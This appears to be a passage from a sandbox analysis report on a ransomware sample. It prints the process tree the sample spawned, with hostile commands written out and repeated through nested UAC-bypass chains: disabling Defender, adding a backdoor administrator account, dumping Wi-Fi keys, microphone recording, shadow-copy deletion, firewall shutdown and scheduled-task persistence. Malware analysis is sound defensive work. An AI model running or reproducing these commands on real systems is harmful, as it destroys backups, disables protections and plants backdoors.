      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:7996
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:15852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:1500
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:2956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4612
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:1940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:1628
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:6908
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689823796780.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9964
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:11040
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:5712
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:8328
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:11860
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:15984

C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
1⤵
PID:5236
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1100
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ba3040c9-5f79-4d9a-90e2-61e7863a8342.inf
  2⤵
  PID:2212
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:3104
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2348
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2496
- - C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
    3⤵
    PID:940
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4984
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0124833d-0750-4dc4-b94d-e0bf713e0a8f.inf
      4⤵
      PID:1344
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4220
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:5892
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:3548
    - - C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        5⤵
        
        PID:3692
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6940
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5f222f05-c3ce-4cef-8e46-b92c3af9a707.inf
        6⤵
        
        PID:7020
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:3316
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6192
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:6156
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        7⤵
        
        PID:5140
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7240
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\45df131e-e886-4b49-8b5e-bebf277abb10.inf
        8⤵
        
        PID:7344
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7512
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7632
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7744
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        9⤵
        
        PID:6680
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8836
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a9c8bd90-ee04-4d85-80d6-209ca0d64476.inf
        10⤵
        
        PID:8912
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:9068
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:9160
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8252
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        11⤵
        
        PID:8808
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10104
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2156f840-8812-4870-a1b3-deaa14fa584f.inf
        12⤵
        
        PID:9712
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:10348
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:9324
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        13⤵
        
        PID:10952
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13528
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7b2ce55d-06c5-4336-b877-2963c5ac95bc.inf
        14⤵
        
        PID:14044
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:14256
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:7904
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:5456
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        15⤵
        
        PID:12420
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14620
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d2cbf936-3da0-4adb-b2e1-29808b62ed6d.inf
        16⤵
        
        PID:11592
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:11048
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:2784
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:11248
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        17⤵
        
        PID:16308
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13900
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e9b35de4-3b53-42e1-ad31-2965ec9d8bb9.inf
        18⤵
        
        PID:11368
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:5948
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:5032
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:13424
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        19⤵
        
        PID:14708
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15428
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\47c329cd-a927-484d-845e-31355e1b902b.inf
        20⤵
        
        PID:8240
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:14416
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:5740
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:256
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        21⤵
        
        PID:5916
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11612
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cf899a5a-90de-43d1-8040-fb00b226454c.inf
        22⤵
        
        PID:8648
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:2808
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:8316
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:13728
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        23⤵
        
        PID:5816
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10692
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7765b78a-d66a-4704-8c87-d18ab5f5fcb5.inf
        24⤵
        
        PID:15936
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:14288
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:14096
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:15024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:16244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10104
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:7004
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:4476
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:15176
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:11544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4836
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:10756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:5044
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:13352
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:3916
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:7072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13160
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        
        PID:5524
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        
        PID:14680
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:12908
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:12688
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:16180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690886390080.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11192
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15552
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:14964
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        18⤵
        
        PID:14752
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        18⤵
        
        PID:5732
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        19⤵
        
        PID:6972
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        18⤵
        Modifies Windows Firewall
        
        PID:9536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12280
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:3088
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:6780
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:13800
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:8996
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:9452
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690601862912.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10932
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:13724
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:7708
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:8960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:8648
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:13848
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        16⤵
        Launches sc.exe
        
        PID:14460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6940
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:14544
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:5424
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:15332
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:15560
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:15732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690402178150.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8236
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5916
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:12196
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:12724
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:10876
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:9368
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:14088
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:12900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6832
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:11748
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:10236
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:11500
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:12804
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:11352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690216171951.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16076
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11344
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:5160
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:10472
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:14368
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:12592
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:15300
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:5540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7296
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9648
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:10020
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:11064
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:13260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
